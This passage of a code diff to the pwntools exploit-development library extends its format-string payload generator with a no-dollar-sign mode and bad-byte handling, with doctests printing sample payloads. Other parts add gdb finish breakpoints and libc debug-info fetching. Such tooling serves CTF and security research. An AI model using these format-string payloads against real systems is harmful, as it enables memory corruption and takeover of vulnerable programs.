             candidate = candidate.union(AtomWrite(candidate.end, 1, data[i + candidate.size]))
 
         sz = min([s for s in SPECIFIER if s >= candidate.size] + [float("inf")])
-        if candidate.start + sz > len(data):
-            raise RuntimeError("impossible to avoid badbytes starting after offset %d (address %x)" % (i, i + address))
+        if candidate.start + sz > end:
+            raise RuntimeError("impossible to avoid badbytes starting after offset %d (address %#x)" % (i, i + address))
         i += candidate.size
         candidate = candidate.union(AtomWrite(candidate.end, sz - candidate.size, 0, 0))
         out.append(candidate)
@@ -492,7 +499,7 @@ def merge_atoms_overlapping(atoms, sz, szmax, numbwritten, overflows):
         # the best write is the one which sets the largest number of target
         # bytes correctly
         candidate = AtomWrite(atom.start, 0, 0)
-        best = (0, None)
+        best = (atom.size, idx, atom)
         for nextidx, nextatom in enumerate(atoms[idx:], idx):
             # if there is no atom immediately following the current candidate
             # that we haven't written yet, stop
@@ -521,6 +528,8 @@ def merge_atoms_overlapping(atoms, sz, szmax, numbwritten, overflows):
 
         _, nextidx, best_candidate = best
         numbwritten_here += best_candidate.compute_padding(numbwritten_here)
+        if numbwritten_here > maxwritten:
+            maxwritten = numbwritten_here
         offset = 0
 
         # for all atoms that we merged, check if all bytes are written already to update `done``
@@ -669,7 +678,7 @@ def sort_atoms(atoms, numbwritten):
 
     return out
 
-def make_payload_dollar(data_offset, atoms, numbwritten=0, countersize=4):
+def make_payload_dollar(data_offset, atoms, numbwritten=0, countersize=4, no_dollars=False):
     r'''
     Makes a format-string payload using glibc's dollar syntax to access the arguments.
 
@@ -682,6 +691,7 @@ def make_payload_dollar(data_offset, atoms, numbwritten=0, countersize=4):
         atoms(list): list of atoms to execute
         numbwritten(int): number of byte already written by the printf function
         countersize(int): size in bytes of the format string counter (usually 4)
+        no_dollars(bool) : flag to generete the payload with or w/o $ notation 
 
     Examples:
         >>> pwnlib.fmtstr.make_payload_dollar(1, [pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0xff)])
@@ -691,6 +701,13 @@ def make_payload_dollar(data_offset, atoms, numbwritten=0, countersize=4):
     fmt = ""
 
     counter = numbwritten
+
+    if no_dollars:
+        # since we can't dynamically offset, we have to increment manually the parameter index, use %c, so the number of bytes written is predictable
+        fmt += "%c" * (data_offset - 1)
+        # every %c write a byte, so we need to keep track of that to have the right pad
+        counter += data_offset - 1
+
     for idx, atom in enumerate(atoms):
         # set format string counter to correct value
         padding = atom.compute_padding(counter)
@@ -701,9 +718,54 @@ def make_payload_dollar(data_offset, atoms, numbwritten=0, countersize=4):
             log.warn("padding is negative, this will not work on glibc")
 
         # perform write
-        if padding:
+        # if the padding is less than 3, it is more convenient to write it : [ len("cc") < len("%2c") ] , this could help save some bytes, if it is 3 it will take the same amout of bytes
+        # we also add ( context.bytes * no_dollars ) because , "%nccccccccc%n...ptr1ptr2" is more convenient than %"n%8c%n...ptr1ccccccccptr2"
+        if padding < 4 + context.bytes * no_dollars:
+                fmt += "c" * padding
+                ## if do not padded with %{n}c  do not need to add something in data to use as argument, since  we are not using a printf argument
+        else: 
             fmt += "%" + str(padding) + "c"
-        fmt += "%" + str(data_offset + idx) + "$" + SPECIFIER[atom.size]
+
+            if no_dollars:
+                data += b'c' * context.bytes
+                ''' 
+                [ @murph12F was here ]
+
+                the data += b'c' * context.bytes , is used to keey the arguments aligned when a %c is performed, so it wont use the actual address to write at
+                examplea stack and payload:
+                    
+                    fmtsr = %44c%hhn%66c%hhn
+
+                    ---------
+                    | addr2 |
+                    ---------
+                    | 0x000 |   
+                    ---------
+                    | addr1 |
+                    ---------
+                    | 0x000 | <-- (rsp)
+                    ---------
+                
+                    in this case the the first %44c will use the current arugument used pointed by rsp ( 0 ), and increment  rsp
+
+                    ---------
+                    | addr2 |
+                    ---------
+                    | 0X000 |   
+                    ---------
+                    | addr1 | <-- (rsp)
+                    ---------
+                    | 0x000 | 
+                    ---------
+
+                    now it will perform the %hhn, and it will correctly use the addr1 argument
+                '''
+            
+        if no_dollars:
+            fmt += "%" +  SPECIFIER[atom.size]
+        else:
+            fmt += "%" + str(data_offset + idx) + "$" + SPECIFIER[atom.size]
+
         data += pack(atom.start)
 
     return fmt.encode(), data
@@ -740,7 +802,7 @@ def make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes):
         all_atoms += atoms
     return all_atoms
 
-def fmtstr_split(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset()):
+def fmtstr_split(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), no_dollars=False):
     """
     Build a format string like fmtstr_payload but return the string and data separately.
     """
@@ -754,9 +816,9 @@ def fmtstr_split(offset, writes, numbwritten=0, write_size='byte', write_size_ma
     szmax = WRITE_SIZE[write_size_max]
     atoms = make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes)
 
-    return make_payload_dollar(offset, atoms, numbwritten)
+    return make_payload_dollar(offset, atoms, numbwritten, no_dollars=no_dollars)
 
-def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0):
+def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0, no_dollars=False):
     r"""fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') -> str
 
     Makes payload with given parameter.
@@ -773,6 +835,7 @@ def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_
         write_size(str): must be ``byte``, ``short`` or ``int``. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
         overflows(int): how many extra overflows (at size sz) to tolerate to reduce the length of the format string
         strategy(str): either 'fast' or 'small' ('small' is default, 'fast' can be used if there are many writes)
+        no_dollars(bool) : flag to generete the payload with or w/o $ notation 
     Returns:
         The payload in order to do needed writes
 
@@ -784,6 +847,8 @@ def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_
         b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'
         >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
         b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
+        >>> fmtstr_payload(6, {0x8: 0x55d15d2004a0}, badbytes=b'\n')
+        b'%1184c%14$lln%49c%15$hhn%6963c%16$hn%81c%17$hhn%8c%18$hhnaaaabaa\x08\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00'
         >>> context.clear(arch = 'i386')
         >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
         b'%322419390c%5$na\x00\x00\x00\x00'
@@ -792,9 +857,15 @@ def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_
         >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
         b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
         >>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
-        b'%1c%3$na\x00\x00\x00\x00'
+        b'c%3$naaa\x00\x00\x00\x00'
         >>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')
         b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
+        >>> fmtstr_payload(10, {0x404048 : 0xbadc0ffe, 0x40403c : 0xdeadbeef}, no_dollars=True)
+        b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%125c%hhn%17c%hhn%32c%hhn%17c%hhn%203c%hhn%34c%hhn%3618c%hnacccc>@@\x00cccc=@@\x00cccc?@@\x00cccc<@@\x00ccccK@@\x00ccccJ@@\x00ccccH@@\x00'
+        >>> fmtstr_payload(6, {0x404048 : 0xbadbad00}, no_dollars=True)
+        b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%229c%hhn%173c%hhn%13c%hhn%33c%hhnccccH@@\x00ccccI@@\x00ccccK@@\x00ccccJ@@\x00'
+        >>> fmtstr_payload(6, {0x4040 : 0xbadbad00, 0x4060: 0xbadbad02}, no_dollars=True)
+        b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%212c%hhn%173c%hhn%13c%hhn%33c%hhn%39c%hhn%171c%hhn%13c%hhn%33c%hhnacccc@@\x00\x00ccccA@\x00\x00ccccC@\x00\x00ccccB@\x00\x00cccc`@\x00\x00cccca@\x00\x00ccccc@\x00\x00ccccb@\x00\x00'
     """
     sz = WRITE_SIZE[write_size]
     szmax = WRITE_SIZE[write_size_max]
@@ -803,7 +874,7 @@ def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_
     fmt = b""
     for _ in range(1000000):
         data_offset = (offset_bytes + len(fmt)) // context.bytes
-        fmt, data = make_payload_dollar(offset + data_offset, all_atoms, numbwritten=numbwritten)
+        fmt, data = make_payload_dollar(offset + data_offset, all_atoms, numbwritten=numbwritten, no_dollars=no_dollars)
         fmt = fmt + cyclic((-len(fmt)-offset_bytes) % context.bytes)
 
         if len(fmt) + offset_bytes == data_offset * context.bytes:
@@ -834,11 +905,12 @@ class FmtStr(object):
 
     """
 
-    def __init__(self, execute_fmt, offset=None, padlen=0, numbwritten=0):
+    def __init__(self, execute_fmt, offset=None, padlen=0, numbwritten=0, badbytes=frozenset()):
         self.execute_fmt = execute_fmt
         self.offset = offset
         self.padlen = padlen
         self.numbwritten = numbwritten
+        self.badbytes = badbytes
 
         if self.offset is None:
             self.offset, self.padlen = self.find_offset()
@@ -902,7 +974,7 @@ class FmtStr(object):
 
         """
         fmtstr = randoms(self.padlen).encode()
-        fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen + self.numbwritten, write_size='byte')
+        fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen + self.numbwritten, badbytes=self.badbytes, write_size='byte')
         self.execute_fmt(fmtstr)
         self.writes = {}
 

pwnlib/gdb.py

@@ -303,7 +303,7 @@ def _gdbserver_args(pid=None, path=None, args=None, which=None, env=None):
                 env_args.append(b'%s=%s' % (key, env.pop(key)))
             else:
                 env_args.append(b'%s=%s' % (key, env[key]))
-        gdbserver_args += ['--wrapper', 'env', '-i'] + env_args + ['--']
+        gdbserver_args += ['--wrapper', which('env'), '-i'] + env_args + ['--']
 
     gdbserver_args += ['localhost:0']
     gdbserver_args += args
@@ -374,8 +374,10 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, api=
         exe(str): Path to the executable on disk
         env(dict): Environment to start the binary in
         ssh(:class:`.ssh`): Remote ssh session to use to launch the process.
-        sysroot(str): Foreign-architecture sysroot, used for QEMU-emulated binaries
-            and Android targets.
+        sysroot(str): Set an alternate system root. The system root is used to
+            load absolute shared library symbol files. This is useful to instruct
+            gdb to load a local version of binaries/libraries instead of downloading
+            them from the gdbserver, which is faster
         api(bool): Enable access to GDB Python API.
 
     Returns:
@@ -568,7 +570,7 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, api=
     gdbserver.executable = exe
 
     # Find what port we need to connect to
-    if context.native or (context.os == 'android'):
+    if ssh or context.native or (context.os == 'android'):
         port = _gdbserver_port(gdbserver, ssh)
     else:
         port = qemu_port
@@ -597,7 +599,9 @@ def get_gdb_arch():
         'powerpc64': 'powerpc:common64',
         'mips64': 'mips:isa64',
         'thumb': 'arm',
-        'sparc64': 'sparc:v9'
+        'sparc64': 'sparc:v9',
+        'riscv32': 'riscv:rv32',
+        'riscv64': 'riscv:rv64',
     }.get(context.arch, context.arch)
 
 def binary():
@@ -663,6 +667,48 @@ class Breakpoint:
         # Handle stop() call from the server.
         return self.stop()
 
+class FinishBreakpoint:
+    """Mirror of ``gdb.FinishBreakpoint`` class.
+
+    See https://sourceware.org/gdb/onlinedocs/gdb/Finish-Breakpoints-in-Python.html
+    for more information.
+    """
+
+    def __init__(self, conn, *args, **kwargs):
+        """Do not create instances of this class directly.
+
+        Use ``pwnlib.gdb.Gdb.FinishBreakpoint`` instead.
+        """
+        # Creates a real finish breakpoint and connects it with this mirror
+        self.conn = conn
+        self.server_breakpoint = conn.root.set_finish_breakpoint(
+            self, hasattr(self, 'stop'), hasattr(self, 'out_of_scope'),
+            *args, **kwargs)
+
+    def __getattr__(self, item):
+        """Return attributes of the real breakpoint."""
+        if item in (
+                '____id_pack__',
+                '__name__',
+                '____conn__',
+                'stop',
+                'out_of_scope',
+        ):
+            # Ignore RPyC netref attributes.
+            # Also, if stop() or out_of_scope() are not defined, hasattr() call
+            # in our __init__() will bring us here. Don't contact the
+            # server in this case either.
+            raise AttributeError()
+        return getattr(self.server_breakpoint, item)
+
+    def exposed_stop(self):
+        # Handle stop() call from the server.
+        return self.stop()
+
+    def exposed_out_of_scope(self):
+        # Handle out_of_scope() call from the server.
+        return self.out_of_scope()
+
 class Gdb:
     """Mirror of ``gdb`` module.
 
@@ -680,8 +726,12 @@ class Gdb:
         class _Breakpoint(Breakpoint):
             def __init__(self, *args, **kwargs):
                 super().__init__(conn, *args, **kwargs)
+        class _FinishBreakpoint(FinishBreakpoint):
+            def __init__(self, *args, **kwargs):
+                super().__init__(conn, *args, **kwargs)
 
         self.Breakpoint = _Breakpoint
+        self.FinishBreakpoint = _FinishBreakpoint
         self.stopped = Event()
 
         def stop_handler(event):
@@ -728,8 +778,10 @@ def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysr
         arch(str): Architechture of the target binary.  If `exe` known GDB will
           detect the architechture automatically (if it is supported).
         gdb_args(list): List of additional arguments to pass to GDB.
-        sysroot(str): Foreign-architecture sysroot, used for QEMU-emulated binaries
-            and Android targets.
+        sysroot(str): Set an alternate system root. The system root is used to
+            load absolute shared library symbol files. This is useful to instruct
+            gdb to load a local version of binaries/libraries instead of downloading
+            them from the gdbserver, which is faster
         api(bool): Enable access to GDB Python API.
 
     Returns:
@@ -868,17 +920,17 @@ def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysr
 
     # gdb script to run before `gdbscript`
     pre = ''
+    if sysroot:
+        pre += 'set sysroot %s\n' % sysroot
     if not context.native:
         pre += 'set endian %s\n' % context.endian
         pre += 'set architecture %s\n' % get_gdb_arch()
-        if sysroot:
-            pre += 'set sysroot %s\n' % sysroot
 
         if context.os == 'android':
             pre += 'set gnutarget ' + _bfdname() + '\n'
 
         if exe and context.os != 'baremetal':
-            pre += 'file %s\n' % exe
+            pre += 'file "%s"\n' % exe
 
     # let's see if we can find a pid to attach to
     pid = None
@@ -915,7 +967,7 @@ def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysr
             cmd = ['sshpass', '-p', shell.password] + cmd
         if shell.keyfile:
             cmd += ['-i', shell.keyfile]
-        cmd += ['gdb', '-q', target.executable, target.pid, '-x', tmpfile]
+        cmd += ['gdb', '-q', target.executable, str(target.pid), '-x', tmpfile]
 
         misc.run_in_new_terminal(cmd)
         return
@@ -967,7 +1019,7 @@ def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysr
 
         exe = exe or findexe()
     elif isinstance(target, elf.corefile.Corefile):
-        pre += 'target core %s\n' % target.path
+        pre += 'target core "%s"\n' % target.path
     else:
         log.error("don't know how to attach to target: %r", target)
 
@@ -1329,7 +1381,7 @@ def version(program='gdb'):
 
     Example:
 
-        >>> (7,0) <= gdb.version() <= (12,0)
+        >>> (7,0) <= gdb.version() <= (19,0)
         True
     """
     program = misc.which(program)

pwnlib/gdb_api_bridge.py

@@ -89,6 +89,17 @@ class GdbService(Service):
             return Breakpoint(*args, **kwargs)
         return gdb.Breakpoint(*args, **kwargs)
 
+    def exposed_set_finish_breakpoint(self, client, has_stop, has_out_of_scope, *args, **kwargs):
+        """Create a finish breakpoint and connect it with the client-side mirror."""
+        class FinishBreakpoint(gdb.FinishBreakpoint):
+            if has_stop:
+                def stop(self):
+                    return client.stop()
+            if has_out_of_scope:
+                def out_of_scope(self):
+                    client.out_of_scope()
+        return FinishBreakpoint(*args, **kwargs)
+
     def exposed_quit(self):
         """Terminate GDB."""
         gdb.post_event(lambda: gdb.execute('quit'))

pwnlib/lexer.py

@@ -38,7 +38,7 @@ class PwntoolsLexer(RegexLexer):
     string = r'"(\\"|[^"])*"'
     char = r'[\w$.@-]'
     identifier = r'(?:[a-zA-Z$_]' + char + r'*|\.' + char + '+|or)'
-    number = r'(?:0[xX][a-zA-Z0-9]+|\d+)'
+    number = r'(?:-?0[xX][a-zA-Z0-9]+|\d+)'
     memory = r'(?:[\]\[])'
     bad = r'(?:\(bad\))'
 

pwnlib/libcdb.py

@@ -4,24 +4,30 @@ Fetch a LIBC binary based on some heuristics.
 from __future__ import absolute_import
 from __future__ import division
 
-import codecs
-import json
 import os
+import six
 import tempfile
 
 from pwnlib.context import context
 from pwnlib.elf import ELF
 from pwnlib.log import getLogger
-from pwnlib.util.fiddling import b64d
-from pwnlib.util.fiddling import hexdump
+from pwnlib.tubes.process import process
+from pwnlib.util.fiddling import enhex
 from pwnlib.util.misc import read
+from pwnlib.util.misc import which
 from pwnlib.util.misc import write
-from pwnlib.util.safeeval import const
 from pwnlib.util.web import wget
 
 log = getLogger(__name__)
 
 HASHES = ['build_id', 'sha1', 'sha256', 'md5']
+DEBUGINFOD_SERVERS = [
+    'https://debuginfod.elfutils.org/',
+]
+
+if 'DEBUGINFOD_URLS' in os.environ:
+    urls = os.environ['DEBUGINFOD_URLS'].split(' ')
+    DEBUGINFOD_SERVERS = urls + DEBUGINFOD_SERVERS
 
 # https://gitlab.com/libcdb/libcdb wasn't updated after 2019,
 # but still is a massive database of older libc binaries.
@@ -52,65 +58,57 @@ def provider_libcdb(hex_encoded_id, hash_type):
         log.warn_once("Failed to fetch libc for %s %s from libcdb: %s", hash_type, hex_encoded_id, e)
     return data
 
-# https://libc.rip/
-def provider_libc_rip(hex_encoded_id, hash_type):
+def query_libc_rip(params):
     # Deferred import because it's slow
     import requests
 
+    url = "https://libc.rip/api/find"
+    try:
+        result = requests.post(url, json=params, timeout=20)
+        result.raise_for_status()
+        if result.status_code != 200:
+            log.debug("Error: %s", result.text)
+            return None
+        return result.json()
+    except requests.RequestException as e:
+        log.warn_once("Failed to fetch libc info from libc.rip: %s", e)
+        return None
+
+# https://libc.rip/
+def provider_libc_rip(hex_encoded_id, hash_type):
     # Build the request for the hash type
     # https://github.com/niklasb/libc-database/blob/master/searchengine/api.yml
     if hash_type == 'build_id':
         hash_type = 'buildid'
-    url    = "https://libc.rip/api/find"
     params = {hash_type: hex_encoded_id}
 
-    data = b""
-    try:
-        result = requests.post(url, json=params, timeout=20)
-        if result.status_code != 200 or len(result.json()) == 0:
-            log.warn_once("Could not find libc for %s %s on libc.rip", hash_type, hex_encoded_id)
-            log.debug("Error: %s", result.text)
-            return None
+    libc_match = query_libc_rip(params)
+    if not libc_match:
+        log.warn_once("Could not find libc info for %s %s on libc.rip", hash_type, hex_encoded_id)
+        return None
 
-        libc_match = result.json()
-        assert len(libc_match) == 1, 'Invalid libc.rip response.'
+    if len(libc_match) > 1:
+        log.debug("Received multiple matches. Choosing the first match and discarding the others.")
+        log.debug("%r", libc_match)
 
-        url = libc_match[0]['download_url']
-        log.debug("Downloading data from libc.rip: %s", url)
-        data = wget(url, timeout=20)
+    url = libc_match[0]['download_url']
+    log.debug("Downloading data from libc.rip: %s", url)
+    data = wget(url, timeout=20)
 
-        if not data:
-            log.warn_once("Could not fetch libc for %s %s from libc.rip", hash_type, hex_encoded_id)
-            return None
-    except requests.RequestException as e:
-        log.warn_once("Failed to fetch libc for %s %s from libc.rip: %s", hash_type, hex_encoded_id, e)
+    if not data:
+        log.warn_once("Could not fetch libc binary for %s %s from libc.rip", hash_type, hex_encoded_id)
+        return None
     return data
 
 PROVIDERS = [provider_libcdb, provider_libc_rip]
 
-def search_by_hash(hex_encoded_id, hash_type='build_id'):
+def search_by_hash(hex_encoded_id, hash_type='build_id', unstrip=True):
     assert hash_type in HASHES, hash_type
 
     # Ensure that the libcdb cache directory exists
-    cache_dir = os.path.join(context.cache_dir, 'libcdb', hash_type)
-
-    if not os.path.isdir(cache_dir):
-        os.makedirs(cache_dir)
-
-    # If we already downloaded the file, and it looks even passingly like
-    # a valid ELF file, return it.
-    cache = os.path.join(cache_dir, hex_encoded_id)
-
-    if os.path.exists(cache):
-        log.debug("Found existing cached libc at %r", cache)
-
-        data = read(cache)
-        if data.startswith(b'\x7FELF'):
-            log.info_once("Using cached data from %r", cache)
-            return cache
-        else:
-            log.info_once("Skipping unavailable libc %s", hex_encoded_id)
-            return None
+    cache, cache_valid = _check_elf_cache('libcdb', hex_encoded_id, hash_type)
+    if cache_valid:
+        return cache
 
     # Run through all available libc database providers to see if we have a match.
     for provider in PROVIDERS:
@@ -128,16 +126,435 @@ def search_by_hash(hex_encoded_id, hash_type='build_id'):
     if not data or not data.startswith(b'\x7FELF'):
         return None
 
+    # Try to find debug info for this libc.
+    if unstrip:
+        unstrip_libc(cache)
+
     return cache
 
+def _search_debuginfo_by_hash(base_url, hex_encoded_id):
+    # Deferred import because it's slow
+    import requests
+    from six.moves import urllib
 
-def search_by_build_id(hex_encoded_id):
+    # Check if we tried this buildid before.
+    cache, cache_valid = _check_elf_cache('libcdb_dbg', hex_encoded_id, 'build_id')
+    if cache_valid:
+        return cache
+
+    # Try to find separate debuginfo.
+    url  = '/buildid/{}/debuginfo'.format(hex_encoded_id)
+    url  = urllib.parse.urljoin(base_url, url)
+    data = b""
+    log.debug("Downloading data from debuginfod: %s", url)
+    try:
+        data = wget(url, timeout=20)
+    except requests.RequestException as e:
+        log.warn_once("Failed to fetch libc debuginfo for build_id %s from %s: %s", hex_encoded_id, base_url, e)
+    
+    # Save whatever we got to the cache
+    write(cache, data or b'')
+
+    # Return ``None`` if we did not get a valid ELF file
+    if not data or not data.startswith(b'\x7FELF'):
+        log.warn_once("Could not fetch libc debuginfo for build_id %s from %s", hex_encoded_id, base_url)
+        return None
+
+    return cache
+
+def _check_elf_cache(cache_type, hex_encoded_id, hash_type):
+    """
+    Check if there already is an ELF file for this hash in the cache.
+
+    >>> cache, _ = _check_elf_cache('libcdb', '2d1c5e0b85cb06ff47fa6fa088ec22cb6e06074e', 'build_id')
+    >>> os.unlink(cache) if os.path.exists(cache)
+    >>> filename = search_by_hash('2d1c5e0b85cb06ff47fa6fa088ec22cb6e06074e', 'build_id', unstrip=False)
+    >>> hex(ELF(filename).symbols.read)
+    '0xe56c0'
+    >>> filename == cache
+    True
+    """
+    # Ensure that the cache directory exists
+    cache_dir = os.path.join(context.cache_dir, cache_type, hash_type)
+
+    if not os.path.isdir(cache_dir):
+        os.makedirs(cache_dir)
+
+    # If we already downloaded the file, and it looks even passingly like
+    # a valid ELF file, return it.
+    cache = os.path.join(cache_dir, hex_encoded_id)
+
+    if not os.path.exists(cache):
+        return cache, False
+    
+    log.debug("Found existing cached ELF at %r", cache)
+
+    data = read(cache)
+    if not data.startswith(b'\x7FELF'):
+        log.info_once("Skipping unavailable ELF %s", hex_encoded_id)
+        return cache, False
+
+    log.info_once("Using cached data from %r", cache)
+    return cache, True
+
+def unstrip_libc(filename):
+    """
+    Given a path to a libc binary, attempt to download matching debug info
+    and add them back to the given binary.
+
+    This modifies the given file.
+
+    Arguments:
+        filename(str):
+            Path to the libc binary to unstrip.
+
+    Returns:
+        :const:`True` if binary was unstripped, :const:`False` otherwise.
+
+    Examples:
+        >>> filename = search_by_build_id('69389d485a9793dbe873f0ea2c93e02efaa9aa3d', unstrip=False)
+        >>> libc = ELF(filename)
+        >>> 'main_arena' in libc.symbols
+        False
+        >>> unstrip_libc(filename)
+        True
+        >>> libc = ELF(filename)
+        >>> hex(libc.symbols.main_arena)
+        '0x219c80'
+        >>> unstrip_libc(pwnlib.data.elf.get('test-x86'))
+        False
+        >>> filename = search_by_build_id('d1704d25fbbb72fa95d517b883131828c0883fe9', unstrip=True)
+        >>> 'main_arena' in ELF(filename).symbols
+        True
+    """
+    if not which('eu-unstrip'):
+        log.warn_once('Couldn\'t find "eu-unstrip" in PATH. Install elfutils first.')
+        return False
+
+    libc = ELF(filename, checksec=False)
+    if not libc.buildid:
+        log.warn_once('Given libc does not have a buildid. Cannot look for debuginfo to unstrip.')
+        return False
+
+    log.debug('Trying debuginfod servers: %r', DEBUGINFOD_SERVERS)
+
+    for server_url in DEBUGINFOD_SERVERS:
+        libc_dbg = _search_debuginfo_by_hash(server_url, enhex(libc.buildid))
+        if libc_dbg:
+            break
+    else:
+        log.warn_once('Couldn\'t find debug info for libc with build_id %s on any debuginfod server.', enhex(libc.buildid))
+        return False
+
+    # Add debug info to given libc binary inplace.
+    p = process(['eu-unstrip', '-o', filename, filename, libc_dbg])
+    output = p.recvall()
+    p.close()
+
+    if output:
+        log.error('Failed to unstrip libc binary: %r', output)
+        return False
+
+    return True
+
+def _extract_tarfile(cache_dir, data_filename, tarball):
+    from six import BytesIO
+    import tarfile
+    # Handle zstandard compression, since tarfile only supports gz, bz2, and xz.
+    if data_filename.endswith('.zst') or data_filename.endswith('.zstd'):
+        import zstandard
+        dctx = zstandard.ZstdDecompressor()
+        decompressed_tar = BytesIO()
+        dctx.copy_stream(tarball, decompressed_tar)
+        decompressed_tar.seek(0)
+        tarball.close()
+        tarball = decompressed_tar
+
+    if six.PY2 and data_filename.endswith('.xz'):
+        # Python 2's tarfile doesn't support xz, so we need to decompress it first.
+        # Shell out to xz, since the Python 2 pylzma module is broken.
+        # (https://github.com/fancycode/pylzma/issues/67)
+        if not which('xz'):
+            log.error('Couldn\'t find "xz" in PATH. Please install xz first.')
+        import subprocess
+        try:
+            uncompressed_tarball = subprocess.check_output(['xz', '--decompress', '--stdout', tarball.name])
+            tarball = BytesIO(uncompressed_tarball)
+        except subprocess.CalledProcessError:
+            log.error('Failed to decompress xz archive.')
+
+    with tarfile.open(fileobj=tarball) as tar_file:
+        # Find the library folder in the archive (e.g. /lib/x86_64-linux-gnu/)
+        lib_dir = None
+        libc_name = None
+        for member in tar_file.getmembers():
+            if not member.isfile():
+                continue
+            libc_name = os.path.basename(member.name)
+            if libc_name == 'libc.so.6' or (libc_name.startswith('libc') and libc_name.endswith('.so')):
+                lib_dir = os.path.dirname(member.name)
+                break
+        else:
+            log.error('Couldn\'t find library folder containing the libc in the archive.')
+
+        # Extract everything in the library folder
+        for member in tar_file.getmembers():
+            if os.path.dirname(member.name) != lib_dir:
+                continue
+            if not member.isfile() and not member.issym():
+                continue
+            # Extract while keeping file permissions
+            tar_file.extract(member, cache_dir)
+
+        # Move the files up to the cache root
+        target_dir = os.path.join(cache_dir, lib_dir)
+        for file in os.listdir(target_dir):
+            os.rename(os.path.join(target_dir, file), os.path.join(cache_dir, file))
+        os.removedirs(target_dir)
+
+        return os.path.join(cache_dir, libc_name)
+
+def _extract_debfile(cache_dir, package_filename, package):
+    # Extract data.tar in the .deb archive.
+    if six.PY2:
+        if not which('ar'):
+            log.error('Missing command line tool "ar" to extract .deb archive. Please install "ar" first.')
+
+        import atexit
+        import shutil
+        import subprocess
+
+        # Use mkdtemp instead of TemporaryDirectory because the latter is not available in Python 2.
+        tempdir = tempfile.mkdtemp(prefix=".pwntools-tmp")
+        atexit.register(shutil.rmtree, tempdir)
+        with tempfile.NamedTemporaryFile(mode='wb', dir=tempdir) as debfile:
+            debfile.write(package)
+            debfile.flush()
+            try:
+                files_in_deb = subprocess.check_output(['ar', 't', debfile.name]).split(b'\n')
+            except subprocess.CalledProcessError:
+                log.error('Failed to list files in .deb archive.')
+            [data_filename] = filter(lambda f: f.startswith(b'data.tar'), files_in_deb)
+
+            try:
+                subprocess.check_call(['ar', 'x', debfile.name, data_filename], cwd=tempdir)
+            except subprocess.CalledProcessError:
+                log.error('Failed to extract data.tar from .deb archive.')
+
+            with open(os.path.join(tempdir, data_filename), 'rb') as tarball:
+                return _extract_tarfile(cache_dir, data_filename, tarball)
+    else:
+        import unix_ar
+        from six import BytesIO
+        ar_file = unix_ar.open(BytesIO(package))
+        try:
+            data_filename = next(filter(lambda f: f.name.startswith(b'data.tar'), ar_file.infolist())).name.decode()
+            tarball = ar_file.open(data_filename)
+            return _extract_tarfile(cache_dir, data_filename, tarball)
+        finally:
+            ar_file.close()
+
+def _extract_pkgfile(cache_dir, package_filename, package):
+    from six import BytesIO
+    return _extract_tarfile(cache_dir, package_filename, BytesIO(package))
+
+def _find_libc_package_lib_url(libc):
+    # Check https://libc.rip for the libc package
+    libc_match = query_libc_rip({'buildid': enhex(libc.buildid)})
+    if libc_match is not None:
+        for match in libc_match:
+            yield match['libs_url']
+    
+    # Check launchpad.net if it's an Ubuntu libc
+    # GNU C Library (Ubuntu GLIBC 2.36-0ubuntu4)
+    import re
+    version = re.search(br'GNU C Library \(Ubuntu E?GLIBC ([^\)]+)\)', libc.data)
+    if version is not None:
+        libc_version = version.group(1).decode()
